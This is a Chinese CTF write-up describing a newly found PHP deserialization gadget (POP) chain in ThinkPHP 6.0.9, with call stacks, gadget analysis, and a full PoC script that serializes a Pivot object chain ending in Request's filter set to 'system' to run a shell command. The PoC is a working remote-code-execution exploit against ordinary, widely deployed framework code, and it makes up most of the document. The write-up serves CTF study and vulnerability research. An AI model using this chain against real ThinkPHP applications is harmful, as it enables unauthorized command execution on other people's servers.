tp6新pop链

tp6新pop链

周末打西湖有题tp6.0.9的题目,没找到pop链,于是自己挖了一条(后面才知道有现成的能用

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Request.php:1418, think\Request->filterValue()
Request.php:1304, think\Request->filterData()
Request.php:1286, think\Request->input()
Request.php:959, think\Request->get()
Memcache.php:96, think\cache\driver\Memcache->get()
Driver.php:116, think\cache\driver\Memcache->push()
Handler.php:128, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\tp6\vendor\league\flysystem\src\Handler.php:128}()
Handler.php:128, League\Flysystem\File->__call()
Formatter.php:135, League\Flysystem\File->push()
Formatter.php:135, think\console\output\Formatter->format()
Console.php:56, think\console\output\driver\Console->write()
Output.php:162, think\console\Output->write()
Output.php:151, think\console\Output->writeln()
Output.php:132, think\console\Output->block()
Output.php:222, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\tp6\vendor\topthink\framework\src\think\console\Output.php:222}()
Output.php:222, think\console\Output->__call()
ChannelSet.php:36, think\console\Output->channel()
ChannelSet.php:36, think\log\ChannelSet->__call()
Conversion.php:272, think\log\ChannelSet->append()
Conversion.php:272, think\model\Pivot->appendAttrToArray()
Conversion.php:251, think\model\Pivot->toArray()
Conversion.php:324, think\model\Pivot->toJson()
Conversion.php:329, think\model\Pivot->__toString()
Model.php:361, think\model\Pivot->db()
Model.php:564, think\model\Pivot->checkAllowFields()
Model.php:620, think\model\Pivot->updateData()
Model.php:535, think\model\Pivot->save()
Model.php:1065, think\model\Pivot->__destruct()

分析

因为看tp6某些部分和tp5还是有些接近的于是参考之前TCTF挖的tp5的链挖了一条

tp5的调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Request.php:1090, think\Request->filterValue()
Request.php:1040, think\Request->input()
Request.php:706, think\Request->get()
Memcache.php:66, think\cache\driver\Memcache->has()
Memcache.php:98, think\cache\driver\Memcache->set()
Memcache.php:94, think\session\driver\Memcache->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\tp5\thinkphp\library\think\console\Output.php:212}()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\model\Pivot->toArray()
Model.php:936, think\model\Pivot->toJson()
Model.php:2267, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

顺着这条链看发现缺了__call的部分,于是找形如:$val->xxx()的地方

\think\model\concern\Conversion::appendAttrToArray找到

1
2
3
4
5
6
7
protected function appendAttrToArray(array &$item, $key, $name)
{
...
$item[$key] = $relation ? $relation->append($name)
->toArray() : [];
...
}

但是有个问题这里传入的$name是个数组,而tp5中__call的目标block的参数类型不同,于是我们要找一处可控参数的__call,爆搜__call找到

\think\log\ChannelSet::__call

1
2
3
4
5
6
public function __call($method, $arguments)
{
foreach ($this->channels as $channel) {
$this->log->channel($channel)->{$method}(...$arguments);
}
}

接着调用think\console\Output::__call

继续走下去,tp5中的think\session\driver\Memcache->write在tp6中无了,只能再找一个能跳到get的跳板了

对着write一个一个翻过去发现think\console\output\driver\Console->write调了push方法,而think\cache\driver\Memcache->push的push调用了get从而完成整条利用链

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php

namespace League\Flysystem;
class File{
protected $path="thisispath";
protected $filesystem;
function __construct(){
$this->filesystem = new \think\cache\driver\Memcache();

}
}

namespace think\console\output\driver;
class Console{
private $output;
private $formatter;

function __construct(){
$this->output = new \think\console\Output("another");
$this->formatter = new \think\console\output\Formatter();
}

}
namespace think\console\output;
class Formatter{
private $styles=["channel"=>"style"];
private $styleStack;
function __construct(){
$this->styleStack = new \League\Flysystem\File();
}
}
namespace think\model\concern;

trait Attribute
{
private $data = ["get_parent" => "data"];
private $withAttr = ["get_parent" => "withAttr"];
}
namespace think\cache;
class Driver{

}
namespace think\cache\driver;
class Memcache extends \think\cache\Driver {
protected $handler = null;
function __construct(){
$this->handler =new \think\Request();
}

}

namespace think\session\driver;
class Cache{

}

namespace think\console;

class Output{

private $handle = null;
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
"channel"
];
function __construct($a=""){
if($a!=""){
return;
}

$this->handle = new \think\console\output\driver\Console();
}
}

namespace think\log;
class ChannelSet{
protected $channels;
protected $log;
function __construct($obj,$arg){
$this->log = $obj;
$this->channels = [$arg];
}
}


namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $append = [];
private $relation = [];
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->relation = ["evil_key"=>new \think\log\ChannelSet(new \think\console\Output(),"test")];
if($obj===""){
$this->append=["evil_key"=>["aaa"]];
}
}
}
class Request{
protected $get = ["thisispath"=>"whoami"];
protected $filter="system";
}



namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

后记

看起来参考tp5来挖tp6的方法效率还是有点低的我挖了6小时左右才出来(而且链还挺长的,一点也不优雅,更像是用蛮力做出来的),虽然在比赛的时候就想到肯定有现成的,但是可能因为沉没成本的原因不甘心放弃就在眼前的新pop链(实际上我说出了快10次出来了)。有时候过于依赖之前的成功经验也是一种束缚。